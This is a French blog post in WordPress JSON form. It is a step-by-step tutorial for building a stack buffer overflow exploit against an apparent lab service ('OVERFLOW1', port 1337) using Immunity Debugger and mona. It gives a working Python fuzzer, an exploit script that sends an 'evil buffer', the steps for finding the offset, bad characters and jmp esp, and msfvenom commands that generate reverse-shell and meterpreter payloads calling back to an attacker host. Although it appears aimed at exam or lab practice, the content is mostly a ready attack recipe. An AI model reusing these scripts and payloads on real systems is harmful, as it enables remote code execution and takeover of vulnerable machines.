{"id":648,"date":"2021-07-25T18:30:29","date_gmt":"2021-07-25T23:30:29","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=648"},"modified":"2022-04-27T07:47:05","modified_gmt":"2022-04-27T12:47:05","slug":"ecriture-de-lexploit-dun-bufferflow","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/","title":{"rendered":"\u00c9criture de l&#8217;exploit d&#8217;un bufferflow (immunity debugger et mona)"},"content":{"rendered":"<p>On va utiliser immunity debugger avec le plugin mona<\/p>\n<p><code>!mona config -set workingfolder c:\\mona\\%p<\/code><\/p>\n<p>Fuzzer (on essaie de crasher l&#8217;application en augmentant gradullement la taille du buffer)<br \/>\n<pre><code>#!\/usr\/bin\/env python3\n\nimport socket, time, sys\n\nip = &quot;10.10.95.149&quot;\n\nport = 1337\ntimeout = 5\nprefix = &quot;OVERFLOW1 &quot;\n\nstring = prefix + &quot;A&quot; * 100\n\nwhile True:\n&nbsp;&nbsp;try:\n&nbsp;&nbsp;&nbsp;&nbsp;with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.settimeout(timeout)\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect((ip, port))\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024)\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Fuzzing with {} bytes&quot;.format(len(string) - len(prefix)))\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.send(bytes(string, &quot;latin-1&quot;))\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024)\n&nbsp;&nbsp;except:\n&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Fuzzing crashed at {} bytes&quot;.format(len(string) - len(prefix)))\n&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0)\n&nbsp;&nbsp;string += 100 * &quot;A&quot;\n&nbsp;&nbsp;time.sleep(1)<\/code><\/pre><\/p>\n<p>On peut commencer \u00e0 \u00e9crire l&#8217;exploit<br \/>\n<pre><code>import socket\n\nip = &quot;10.10.95.149&quot;\nport = 1337\n\nprefix = &quot;OVERFLOW1 &quot;\noffset = 0\noverflow = &quot;A&quot; * offset\nretn = &quot;&quot;\npadding = &quot;&quot;\npayload = &quot;&quot;\npostfix = &quot;&quot;\n\nbuffer = prefix + overflow + retn + padding + payload + postfix\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntry:\n&nbsp;&nbsp;s.connect((ip, port))\n&nbsp;&nbsp;print(&quot;Sending evil buffer...&quot;)\n&nbsp;&nbsp;s.send(bytes(buffer + &quot;\\r\\n&quot;, &quot;latin-1&quot;))\n&nbsp;&nbsp;print(&quot;Done!&quot;)\nexcept\n&nbsp;&nbsp;print(&quot;Could not connect.&quot;)<\/code><\/pre><\/p>\n<p>On g\u00e9n\u00e8re un buffer de taille de 400 octets de plus que la taille du buffer qui a fait crash\u00e9 l&#8217;application<\/p>\n<p>\/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_create.rb -l 2400. On met le buffer dans le payload et on ex\u00e9cute l&#8217;exploit. Avec mona, on trouve la taille exacte du buffer qui a fait crash\u00e9 l&#8217;application pour le controle du registre eip<\/p>\n<p><code>!mona findmsp -distance 2400<\/code><\/p>\n<p>On regarde les logs pour trouver ce message : EIP contains normal pattern : &#8230; (offset xxxx). On r\u00e8gle la variable offset dans le code de l&#8217;exploit. On met CCCC dans la variable retn, payload=&#8221;&#8221; et on ex\u00e9cute \u00e0 nouveau l&#8217;exploit. L&#8217;application va planter et eip aura la valeur 0xCCCC. <\/p>\n<p><strong>Trouver les Bad Characters<\/strong><\/p>\n<p>Il y a des caract\u00e8res qui ne pourront appara\u00eetre dans le code de notre exploit (comme le null byte et possiblement quelques autres)<\/p>\n<p><code>!mona bytearray -b &quot;\\x00&quot;<\/code><\/p>\n<p>G\u00e9n\u00e9ration d&#8217;un tableau initial de caract\u00e8res valides<br \/>\n<pre><code>for x in range(1, 256):\n&nbsp;&nbsp;print(&quot;\\\\x&quot; + &quot;{:02x}&quot;.format(x), end=&#039;&#039;)\nprint()<\/code><\/pre><\/p>\n<p>on met ces octets dans la variable exploit et on compare le r\u00e9sultat(sur la pile) apr\u00e8s le crash avec le tableau initial<\/p>\n<p><code>!mona compare -f c:\\mona\\oscp\\bytearray.bin -a bytearray.bin -a esp_address<\/code><\/p>\n<p>On va voir dans la fen\u00eatre popup le r\u00e9sultat de la comparaison. Nous voyons le caract\u00e8re NULL et quelques autres. Certains de ces caract\u00e8res sont r\u00e9ellement des mauvais caract\u00e8res , mais pas tous. Nous notons ces caract\u00e8res (possibly bad chars dans la fen\u00eatre). Nous modifions le contenu de la variable exploit (enlevons un autre possible mauvais caract\u00e8re), reg\u00e9n\u00e9rons le tableau bytearray avec mona et r\u00e9essayons pour voir quels sont les mauvais caract\u00e8res. ainsi de suite&#8230;<\/p>\n<p>Nous trouvons un instruction &#8220;jmp esp&#8221;<\/p>\n<p><code>!mona jmp -r esp -cpb &quot;\\x00&quot;<\/code> #entrer les mauvais caract\u00e8res&#8230;<\/code><\/p>\n<p>Mettre une adresse trouv\u00e9e dans la variable retn (ne pas oublier little endian)<\/p>\n<p>G\u00e9n\u00e9rer le payload<\/p>\n<p><pre><code>msfvenom -p windows\/shell_reverse_tcp LHOST=10.9.0.24 LPORT=4444 EXITFUNC=thread -b &quot;\\x00&quot; -f c #ne pas oublier les mauvais caract\u00e8res\nmsfvenom -p windows\/meterpreter\/reverse_tcp LHOST=10.9.0.24 LPORT=443 -f c =a x86 --platform windows -b &quot;\\x00\\x0a&quot; -e x86\/shikata_ga_nai #2e possibilit\u00e9\n<\/code><\/pre><\/p>\n<p>Truc: on met la sortie dans le placeholder ici <\/p>\n<p><code>payload= ( &lt;--ici--&gt; )<\/code> #cela nous \u00e9vite la modification du code de msfvenom<\/p>\n<p>Ajouter quelques octets pour le d\u00e9code du payload<\/p>\n<p><code>padding = &quot;\\x90&quot; * 16<\/code><\/p>\n<p>Have fun!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>On va utiliser immunity debugger avec le plugin mona !mona config -set workingfolder c:\\mona\\%p Fuzzer (on essaie de crasher l&#8217;application en augmentant gradullement la taille du buffer) #!\/usr\/bin\/env python3 import socket, time, sys ip = &quot;10.10.95.149&quot; port = 1337 timeout = 5 prefix = &quot;OVERFLOW1 &quot; string = prefix + &quot;A&quot; * 100 while True: &nbsp;&nbsp;try: &nbsp;&nbsp;&nbsp;&nbsp;with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.settimeout(timeout) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect((ip, port)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Fuzzing with {} bytes&quot;.format(len(string) &#8211; len(prefix))) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.send(bytes(string, &quot;latin-1&quot;)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024) &nbsp;&nbsp;except: &nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Fuzzing crashed at {} bytes&quot;.format(len(string) &#8211; len(prefix))) &nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0) &nbsp;&nbsp;string += 100 * &quot;A&quot; &nbsp;&nbsp;time.sleep(1) On peut commencer \u00e0 \u00e9crire l&#8217;exploit import socket ip = &quot;10.10.95.149&quot; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u00c9criture de l&#039;exploit d&#039;un bufferflow (immunity debugger et mona) - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u00c9criture de l&#039;exploit d&#039;un bufferflow (immunity debugger et mona) - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"On va utiliser immunity debugger avec le plugin mona !mona config -set workingfolder c:mona%p Fuzzer (on essaie de crasher l&#8217;application en augmentant gradullement la taille du buffer) #!\/usr\/bin\/env python3 import socket, time, sys ip = &quot;10.10.95.149&quot; port = 1337 timeout = 5 prefix = &quot;OVERFLOW1 &quot; string = prefix + &quot;A&quot; * 100 while True: &nbsp;&nbsp;try: &nbsp;&nbsp;&nbsp;&nbsp;with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.settimeout(timeout) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect((ip, port)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Fuzzing with {} bytes&quot;.format(len(string) - len(prefix))) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.send(bytes(string, &quot;latin-1&quot;)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024) &nbsp;&nbsp;except: &nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Fuzzing crashed at {} bytes&quot;.format(len(string) - len(prefix))) &nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0) &nbsp;&nbsp;string += 100 * &quot;A&quot; &nbsp;&nbsp;time.sleep(1) On peut commencer \u00e0 \u00e9crire l&#8217;exploit import socket ip = &quot;10.10.95.149&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-07-25T23:30:29+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-04-27T12:47:05+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/\",\"url\":\"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/\",\"name\":\"\u00c9criture de l'exploit d'un bufferflow (immunity debugger et mona) - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\"},\"datePublished\":\"2021-07-25T23:30:29+00:00\",\"dateModified\":\"2022-04-27T12:47:05+00:00\",\"author\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.searchevolution.com\/security\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u00c9criture de l&#8217;exploit d&#8217;un bufferflow (immunity debugger et mona)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\",\"url\":\"https:\/\/www.searchevolution.com\/security\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\/\/www.searchevolution.com\/security\"],\"url\":\"https:\/\/www.searchevolution.com\/security\/author\/germain\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u00c9criture de l'exploit d'un bufferflow (immunity debugger et mona) - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/","og_locale":"fr_CA","og_type":"article","og_title":"\u00c9criture de l'exploit d'un bufferflow (immunity debugger et mona) - S\u00e9curiser votre site","og_description":"On va utiliser immunity debugger avec le plugin mona !mona config -set workingfolder c:mona%p Fuzzer (on essaie de crasher l&#8217;application en augmentant gradullement la taille du buffer) #!\/usr\/bin\/env python3 import socket, time, sys ip = &quot;10.10.95.149&quot; port = 1337 timeout = 5 prefix = &quot;OVERFLOW1 &quot; string = prefix + &quot;A&quot; * 100 while True: &nbsp;&nbsp;try: &nbsp;&nbsp;&nbsp;&nbsp;with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.settimeout(timeout) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect((ip, port)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Fuzzing with {} bytes&quot;.format(len(string) - len(prefix))) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.send(bytes(string, &quot;latin-1&quot;)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024) &nbsp;&nbsp;except: &nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Fuzzing crashed at {} bytes&quot;.format(len(string) - len(prefix))) &nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0) &nbsp;&nbsp;string += 100 * &quot;A&quot; &nbsp;&nbsp;time.sleep(1) On peut commencer \u00e0 \u00e9crire l&#8217;exploit import socket ip = &quot;10.10.95.149&quot;","og_url":"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/","og_site_name":"S\u00e9curiser votre site","article_published_time":"2021-07-25T23:30:29+00:00","article_modified_time":"2022-04-27T12:47:05+00:00","author":"Germain","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Germain","Estimation du temps de lecture":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/","url":"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/","name":"\u00c9criture de l'exploit d'un bufferflow (immunity debugger et mona) - S\u00e9curiser votre site","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/#website"},"datePublished":"2021-07-25T23:30:29+00:00","dateModified":"2022-04-27T12:47:05+00:00","author":{"@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8"},"breadcrumb":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/#breadcrumb"},"inLanguage":"fr-CA","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.searchevolution.com\/security\/"},{"@type":"ListItem","position":2,"name":"\u00c9criture de l&#8217;exploit d&#8217;un bufferflow (immunity debugger et mona)"}]},{"@type":"WebSite","@id":"https:\/\/www.searchevolution.com\/security\/#website","url":"https:\/\/www.searchevolution.com\/security\/","name":"S\u00e9curiser votre site","description":"Conna\u00eetre son ennemi","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-CA"},{"@type":"Person","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8","name":"Germain","image":{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","caption":"Germain"},"sameAs":["https:\/\/www.searchevolution.com\/security"],"url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/648"}],"collection":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/comments?post=648"}],"version-history":[{"count":8,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/648\/revisions"}],"predecessor-version":[{"id":656,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/648\/revisions\/656"}],"wp:attachment":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/media?parent=648"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/categories?post=648"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/tags?post=648"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}